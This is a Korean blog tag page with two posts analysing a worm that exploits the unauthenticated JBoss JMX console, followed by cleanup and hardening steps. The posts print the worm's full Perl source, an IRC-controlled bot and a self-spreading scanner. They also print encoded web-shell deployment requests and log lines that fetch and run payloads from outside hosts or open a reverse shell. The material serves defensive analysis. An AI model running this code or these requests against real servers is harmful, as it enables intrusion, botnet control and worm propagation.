'JBoss Worm' 태그의 글 목록

'JBoss Worm'에 해당되는 글 2건

2012.02.14 JMX 취약점을 이용한 JBoss Worm
2011.11.15 여러분들의 JBoss 는 안전한가요? 1

JMX 취약점을 이용한 JBoss Worm

WEB/JBossAS / 2012. 2. 14. 11:21

JBoss 의 JMX 취약점을 이용한 Worm 이 최근들어 곳곳에서 보이고 있습니다. 그에 따른 예방책과 해결책을 찾기위해 분석을 시작합니다.

JBoss Worm 분석

현재 알려진 worm 은 perl 스크립트를 이용하여 JMX console 을 호출하는 방식을 사용하고 있습니다.

.syssync.pl

#!/usr/bin/perl
###############################
use IO::Socket::INET;
###############################
my $processo = "/usr/local/apache/bin/httpd -DSSL";
my $pid=fork;
exit if $pid;
$0="$processo"." "x16;
###############################
# Server Config
###############################
my @sops =("xxx.xxx.xxx.xxx");
my $port=9000;
my $chan="#newhk";
my $boxing = `uname -a`;
$user = `whoami`;
$boxing =~ s/\r//g;
$boxing =~ s/\n//g;
$boxing =~ s/ //g;
$boxing =~ s/\s//g;
$user =~ s/\r//g;
$user =~ s/\n//g;
$user =~ s/ //g;
$user =~ s/\s//g;
#########################
#	Config		# 
#########################

while(1) {
my $nick="srv[".int(rand(9999999))."]";
retry:
close($sk);

my $server = "";
while(length($server)<10) {
$server = $sops[int(rand(9))];
}
sleep(3);
my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;
$sk->autoflush(1);
print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
print $sk "NICK $nick\r\n";
print $sk "USER ".$user." 8 *  : ".$user."\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print $sk "PONG :$1\r\n";
}

if($line =~ /welcome\sto/i) {
sleep(2);
print $sk "JOIN $chan\r\n";
sleep(1);
print $sk "PRIVMSG $chan :UserName=$boxing\r\n";
}

######################
#     Commands       # 
#                    #
######################

### !die
if ($line=~ /PRIVMSG (.*) :.die/){
$owner=$line;
if($owner=~/iseee/gi) {
sendsk($sk, "QUIT");
die;
}
}
### end of !die

### !rsh
if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/){
$owner=$line;
$de=$2;
if($owner=~/iseee/gi) {
@shell=`$de`;
foreach $line (@shell) { 
sendsk($sk, "PRIVMSG iseee :$line\r\n");
sleep(1);
}
}
}
### end of !rsh

### !get "[url]" "[times]"
if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/){
$owner=$line;
$url=$2;
$mult=$3;
if($owner=~/iseee/gi) {
$url=~/http:\/\/(.*)\/(.*)/g;

for($xz=0;$xz<=$mult;$xz++) {
system("curl ".$url.">/dev/null&");
`curl "$url">/dev/null&`;
system("wget ".$url.">/dev/null&");
`wget "$url">/dev/null&`;
system("wget $url>/dev/null&");

}
sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");
}
}
### End of !get

### !post "[url]" "[data]"
if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/){
$owner=$line;
$url=$2;
$ddata=$3;
if($owner=~/iseee/gi) {
$url=~/http:\/\/(.*)\/(.*)/g;
$host=$1;
$path=$2;

my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);
print $sck 	"POST /$path HTTP/1.0\r\n".
		"Host: $host\r\n".
		"Connection: close\r\n".
		"Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
sleep(1);
close($sck);

sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
}
}
### End of !post

######################
#  End of Commands   # 
#                    #
######################

}

sub sendsk() {
if ($#_ == '1') { my $sk = $_[0]; print $sk "$_[1]\n"; } 
else { print $sk "$_[0]\n"; }
}

해당 perl 스크립트가 실행되면, IRC 서버에 접속하게 되어 닉네임이 "iseee" 인 사용자의 명령에 따라 작업을 수행하게 됩니다.

Worm 수행 작업

해당 worm 은 다음과 같이 4가지 작업을 수행합니다.

작업	IRC 메시지	처리 결과
종료	PRIVMSG iseee :.die	perl 스크립트 종료
명령어 실행	PRIVMSG iseee :.rsh "[명령어]"	해당 명령어를 수행
다운로드	PRIVMSG iseee :.get "[url]" "[반복횟수]"	해당 url 을 반복횟수 만큼 다운로드
POST 연결	PRIVMSG iseee :.post "[url]" "[데이터]"	해당 url 에 데이터를 포함하여 POST 연결 요청

예방책 및 해결책 (확인 중...)

최초에 jmx-console 의 취약점으로 인해 들어오기 때문에 jmx-console 인증 설정이 우선 시 되어야 합니다. jmx-console 을 막았음에도 계속해서 perl 스크립트가 재생되는 것으로 보아 별도의 숙주가 있을 것으로 예상됩니다.

추후, 새로 알게 되는 정보가 있으면 공유하도록 하겠습니다.

저작자표시

Posted by 자수씨

, |

여러분들의 JBoss 는 안전한가요?

WEB/JBossAS / 2011. 11. 15. 14:46

지난 10월 20일, 오래된 버전의 JBoss 에서 웜이 돌 수 있다라는 GUERRILA7 의 리포팅이 있었습니다. 디폴트로 설정된 JMX console (/jmx-console) 의 접근 취약성을 이용하여, 원격지의 공격자가 아무런 인증 절차 없이 HTTP 통신을 통하여 서버의 명령어를 실행시킬 수 있었습니다.

위험성이 노출된 버전은 아래와 같습니다.

JBoss Application Server (AS) 4.0.x, 5.x
JBoss Communications Platform 1.2
JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
JBoss Enterprise Portal Platform (EPP) 4.3
JBoss Enterprise Web Platform (EWP) 5.0
JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0

웜에 감염된 JBoss 들은 구글 검색을 통해 쉽게 확인할 수 있습니다.

공격은 다음과 같은 형식으로 이루어집니다.

아래 아파치 로그를 통해 설명해드리겠습니다.

사례 1 - zecmd

1. HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0
2. GET /zecmd/zecmd.jsp HTTP/1.0
3. GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
4. GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0
5. GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0

1. JMX console 의 취약점을 이용하여 백도어 jsp 를 배포시킵니다.
2. 백도어 jsp (zecmd.jsp) 의 정상 동작여부를 확인합니다.
3. 특정 경로에서 공격을 위한 tar.gz 파일 (kisses.tar.gz) 을 다운로드 받습니다.
4. tar.gz 파일의 압축을 해제합니다.
5. perl script (linda.pl) 을 실행시킵니다.
>> linda.pl 에 의해 여러가지 경로로 worm 이 증식을 하게됩니다.

#!/usr/bin/perl
# Short and unefficiant poc...
use IO::Socket;
my $mark=`ps aux | grep /usr/local/jboss/bin/tomcat | grep -v grep`;
if(length($mark)>13) { die; }
my $processo = "/usr/local/jboss/bin/tomcat";
my $pid=fork;
exit if $pid;
$0="$processo"." "x16;
`make lnx`;
system("make lnx");
system("perl flu.pl&");
$zecmd = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=iesvc.war&argType=java.lang.String&arg1=iesvc&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";
while(1) {
$coin=int(rand(101));
if($coin>49) { $port=8080; } else { $port=80; }
$partx=int(rand(255));
$party=int(rand(255));
$sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6400 $partx.$party.0.0/16 $port > /tmp/sess_0088025413980486928597bff$party$partx";
system($sudoku);
open FILE, "/tmp/sess_0088025413980486928597bff$party$partx" or die "I cannot live like this!\n";
my @target = <FILE>;
close(FILE);
foreach $possible (@target) {
$possible=~s/\)//;
$possible=~s/\(//;
$possible=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)$port\s/g;
$it="$1.$2.$3.$4";
$it=~s/\s//g;
$it=~s/ //g;
$it=~s/\t//g;
my $crap = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np;
print $crap $zecmd;
$page = "";
$page .= $_ while <$crap>;
sleep(2);
if($page=~/200/||$page=~/500/) { push(@target,$it); }
np:
close($crap);
}
foreach $it (@target) {
my $sck = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
print $sck "GET /iesvc/iesvc.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
$page = "";
$page .= $_ while <$sck>;
if($page=~/comments/g) {
my $scka = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
print $scka "GET /iesvc/iesvc.jsp?comment=wget+http://207.54.98.242/test/kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
sleep(3);
close($scka);
my $sckb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
print $sckb "GET /iesvc/iesvc.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
sleep(1);
close($sckb);
my $sckd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
print $sckd "GET /iesvc/iesvc.jsp?comment=perl+linda.pl HTTP/1.0\r\nConnection: Close\r\n\r\n";
sleep(1);
close($sck);
}
nta:
close($sck);
}
}

사례 2 - idssvc

GET /idssvc/idssvc.jsp HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=tar+xzvf+javadd.tar.gz HTTP/1.0
GET /idssvc/idssvc.jsp?comment=perl+lindb.pl HTTP/1.0

zecmd 와 마찬가지로 *.tar.gz 의 다운로드를 시도합니다. 그 후 perl script 를 시작시킴으로써 worm 의 증식을 발동시킵니다.

사례 3 - iesvc

GET /iesvc/iesvc.jsp?comment=wget+https%3A%2F%2F203.177.33.156%2Fadmin%2Freverse.txt+--no-check-certificate HTTP/1.1
GET /iesvc/iesvc.jsp?comment=perl+reverse.txt+199.71.215.203+4442 HTTP/1.1
GET /iesvc/iesvc.jsp?comment=find+%2F+-name+done.php HTTP/1.1

시간이 지날수록 변종들이 생겨나고 있습니다. 특정 경로에서 perl script 인 reverse.txt 를 내려받아 실행을 시킵니다.
reverse.txt 는 백도어를 대놓고 심어놓습니다.

피해 복구 방법

1. 동작중인 perl 프로세스 종료
현재까지 알려진 worm 은 perl 을 통해 구동이 됩니다. 해당 서버에서 별도의 perl 을 구동하지 않는다면 모든 perl 프로세스를 종료시키시기 바랍니다.

2. 감영된 crontab 제거

# crontab -l

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

1 1 10 * * /root/.sysdbs

1 1 24 * * /root/.sysync.pl

# crontab -r

위와 같이 관련 worm 들이 /root/.sys* 로 crontab 에 등록이 되어 있습니다. "crontab -r" 명령어로 제거합니다.

3. JMX console 보안 강화
아래 포스팅을 참고하여 보안 설정을 하시기 바랍니다.
2011/11/16 - [WEB/JBossAS] - [JBoss] 관리 콘솔 접근권한 부여

백도어를 통해 외부에서 서버가 제어가능하기 때문에 앞으로 어떻게 확장될지는 공격자 마음입니다. 치명적인 공격을 당하기 전에 점검해보시기 바랍니다.

참고자료

http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/

저작자표시

Posted by 자수씨

, |

«이전 1 다음»

불친절한자수씨

카테고리

달력

공지사항

최근에 올라온 글

최근에 달린 댓글